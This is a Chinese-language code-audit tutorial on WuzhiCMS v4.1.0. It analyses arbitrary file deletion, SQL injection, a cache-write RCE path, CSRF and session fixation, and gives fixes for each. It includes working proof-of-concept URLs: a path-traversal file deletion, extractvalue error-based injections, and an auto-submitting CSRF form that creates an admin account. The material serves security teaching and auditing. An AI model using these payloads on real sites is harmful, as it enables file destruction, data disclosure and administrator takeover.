WuzhiCMS v4.1.0 代码审计教学文档
一、 环境与项目结构分析
在进行代码审计前,首先需要了解目标程序的基本结构和环境。
-
核心目录说明
coreframe/:框架核心目录,包含所有业务模块和核心库。caches/:缓存目录,存放系统生成的各种缓存文件。www/:网站Web根目录,存放对外开放的入口文件。uploadfile/:用户上传文件的存储目录,是文件上传漏洞的常见挖掘点。install/:安装目录。安全规范:在系统安装完成后,此目录必须删除,否则可能导致重装攻击。
-
关键入口文件
www/index.php:网站前台主入口。www/admin.php:网站后台管理入口。api/目录:提供API接口,是寻找未授权访问、逻辑漏洞和SQL注入的重点区域。
二、 漏洞审计与详解
以下将按照漏洞类型对文中发现的漏洞进行逐一剖析。
类型一:任意文件删除漏洞
-
漏洞文件:
coreframe/app/attachment/admin/index.php -
漏洞函数:
del() -
漏洞分析:
该函数提供了两种删除附件的方式:通过附件ID ($id) 或通过附件URL ($url)。问题出在通过URL删除的逻辑上。- 从
$GLOBALS['url']获取用户输入的url参数,并经过remove_xss()函数过滤(此过滤主要用于防XSS,对路径遍历无效)。 - 使用
str_ireplace(ATTACHMENT_URL, '', $url)将附件的基准URL替换为空,得到相对路径$path。 - 直接将
$path拼接到ATTACHMENT_ROOT(附件根目录)后,形成绝对路径ATTACHMENT_ROOT . $path。 - 调用
my_unlink($path)函数,该函数内部直接执行unlink($path)。
- 从
-
漏洞利用:
由于对$path未进行有效的路径遍历检查,攻击者可以构造特殊的url参数,使其指向系统任意文件。
POC(攻击验证代码):http://target.com/index.php?m=attachment&f=index&v=del&_su=wuzhicms&url=../../../configs/web_config.php上述请求会将
url参数解析为../../configs/web_config.php,最终拼接成类似.../uploadfile/../../configs/web_config.php的路径,从而跨越目录,删除重要的配置文件web_config.php。 -
修复建议:
在删除文件前,应对$path进行规范化(如使用realpath函数),并严格校验其是否位于允许的目录(如ATTACHMENT_ROOT)之下。
类型二:SQL注入漏洞
文中提到了多处SQL注入风险,主要原因是未对用户输入进行充分过滤就直接拼接SQL语句。
-
漏洞点1:API接口注入
-
漏洞文件:
api/sms_check.php -
漏洞分析:
该脚本直接使用$GLOBALS['param']作为变量,并将其拼接到SQL查询语句中。$code = strip_tags($GLOBALS['param']); // strip_tags仅去除HTML标签,对SQL注入无效 ... $r = $db->get_one('sms_checkcode',"`code`='$code' AND `posttime`>$posttime",'*',0,'id DESC');$code变量未经任何转义或参数化处理就直接嵌入SQL字符串,导致注入。 -
漏洞利用POC:
http://target.com/api/sms_check.php?param=1' OR extractvalue(1,concat(0x7e,(SELECT user()))) -- -此Payload会触发数据库报错,并将当前数据库用户信息显示在错误信息中。
-
-
漏洞点2:后台搜索功能注入
-
漏洞文件:
coreframe/app/promote/admin/index.php -
漏洞函数:
search() -
漏洞分析:
用户可控的$keywords和$fieldtype变量被直接拼接进$where字符串。$where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'"; $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');尽管此漏洞位于后台,需要管理员权限才能访问,但一旦攻击者通过其他手段(如钓鱼)获取了后台权限,这将是一个高危的内网渗透漏洞。
-
漏洞利用POC:
http://target.com/admin.php?m=promote&f=index&v=search&fieldtype=place&keywords=1' OR extractvalue(1,concat(0x7e,user())) -- -
-
-
根因探究:
框架的数据库封装方法(如get_one,get_list)设计存在缺陷。它们接受原始的$where字符串进行拼接,而不是使用预编译占位符。审计时应重点关注所有调用这些方法且$where参数用户可控的地方。
类型三:任意文件写入/远程代码执行漏洞
-
漏洞文件:
coreframe/app/core/libs/function/common.func.php -
漏洞函数:
set_cache() -
漏洞分析:
此函数用于生成缓存文件。关键代码如下:function set_cache($filename, $data, $dir = '_cache_'){ ... $filename = $cache_path . $filename . '.' . CACHE_EXT . '.php'; if (is_array($data)) { $data = '<?php' . "\n return " . array2string($data) . '?>'; } file_put_contents($filename, $data); // 将数据写入文件 }如果能够控制
$data参数的内容,并且能预测或影响缓存文件的路径($filename),就可能写入一个恶意的PHP文件。 -
关联漏洞点:
文中提到一个可能的触发点:index.php?m=attachment&f=index&v=ueditor&submit=1&setting=<php phpinfo();>。这暗示可能存在某个接口,将用户输入的数据传递给了set_cache函数。审计时需要寻找这类调用链。 -
漏洞利用:
如果攻击者成功将PHP代码写入一个可通过Web访问的缓存文件中,就可以直接访问该文件来执行任意系统命令,造成RCE。 -
修复建议:
严格校验传入set_cache函数的数据内容,确保$data是预期的序列化数据,而非原始PHP代码。对$filename也应做严格限制,防止目录穿越。
类型四:跨站请求伪造漏洞
- 漏洞描述:
在WuzhiCMS 4.1.0中,后台缺乏对关键操作(如添加管理员)的CSRF Token校验。攻击者可以构造一个恶意页面或链接,诱骗已登录的管理员点击。管理员浏览器会在不知情的情况下携带其认证Cookie向CMS后台发起请求,执行添加攻击者账户等操作。 - 漏洞利用:
攻击者创建一个HTML页面,内嵌一个自动提交的表单:
管理员访问此页面后,一个名为<form action="http://target-cms.com/admin.php?m=core&f=member&v=add&_su=wuzhicms" method="POST"> <input type="hidden" name="username" value="hacker" /> <input type="hidden" name="password" value="hacker123" /> <input type="hidden" name="roleid" value="1" /> <!-- 1可能是管理员角色ID --> <input type="submit" value="Click for a surprise!" /> </form> <script>document.forms[0].submit();</script>hacker的管理员账户就被创建了。 - 修复建议:
对所有状态变更的请求(POST、GET等)实施CSRF Token防护。为每个会话生成一个随机的Token,并在表单或请求参数中包含它,服务端验证此Token的有效性。
类型五:会话管理漏洞
- 漏洞描述:
在登录逻辑中(coreframe/app/core/admin/index.php的login函数),系统在用户登录时没有重新生成Session ID,而是重用了客户端提供的Session ID。 - 攻击场景(Session Fixation):
- 攻击者先访问网站,获取一个合法的Session ID(如
PHPSESSID=attacker_sess)。 - 攻击者构造一个指向后台登录页的钓鱼链接,并附上自己的Session ID:
http://target.com/admin.php?m=core&f=index&v=login&...&PHPSESSID=attacker_sess。 - 管理员点击此链接,使用攻击者的Session ID进行登录。
- 登录成功后,服务器将管理员的权限与
attacker_sess这个Session绑定。 - 攻击者此时使用
PHPSESSID=attacker_sess访问网站,便直接拥有了管理员权限。
- 攻击者先访问网站,获取一个合法的Session ID(如
- 修复建议:
在用户认证成功(如登录、权限提升)后,必须调用session_regenerate_id(true)函数来销毁旧会话并生成一个新的、随机的会话ID。
三、 代码审计方法论总结
通过本次对WuzhiCMS的审计,我们可以总结出一些通用的PHP代码审计技巧:
- 入口点追踪:从
index.php、admin.php和api/目录下的文件开始,追踪用户输入($_GET,$_POST,$_REQUEST,$GLOBALS)的传递过程。 - 敏感函数回溯:在IDE或编辑器中全局搜索关键函数,这是最高效的方法之一。
- SQL注入:搜索
select、get_one、get_list、query、execute等。 - 文件操作:搜索
unlink(删除)、file_put_contents/fwrite(写入)、include/require(包含)。 - 代码执行:搜索
eval、assert、system、exec、passthru等。
- SQL注入:搜索
- 权限校验检查:对于后台功能(
admin/目录下的文件),检查每个操作函数开头是否有完善的登录状态和权限校验代码。 - 参数过滤审视:查看程序如何过滤输入。常见的错误是只使用
strip_tags、htmlspecialchars(防XSS)来处理用于SQL查询的参数,而应该使用数据库扩展提供的参数化查询或至少使用mysqli_real_escape_string进行转义。
四、 结论
WuzhiCMS v4.1.0 版本在多个关键安全环节存在缺陷,包括但不限于任意文件删除、SQL注入、CSRF、会话固定等中高危漏洞。这份教学文档详细分析了这些漏洞的成因、利用方式及修复方案,为安全研究人员和开发者提供了宝贵的代码审计实战案例。在进行任何CMS的二次开发或部署前,进行彻底的代码安全审计是至关重要的一步。
免责声明:本文档仅用于安全教学和研究目的。请勿将文中所述技术用于任何非法或未经授权的测试。在使用任何开源软件时,请确保使用最新版本,并参考官方安全公告。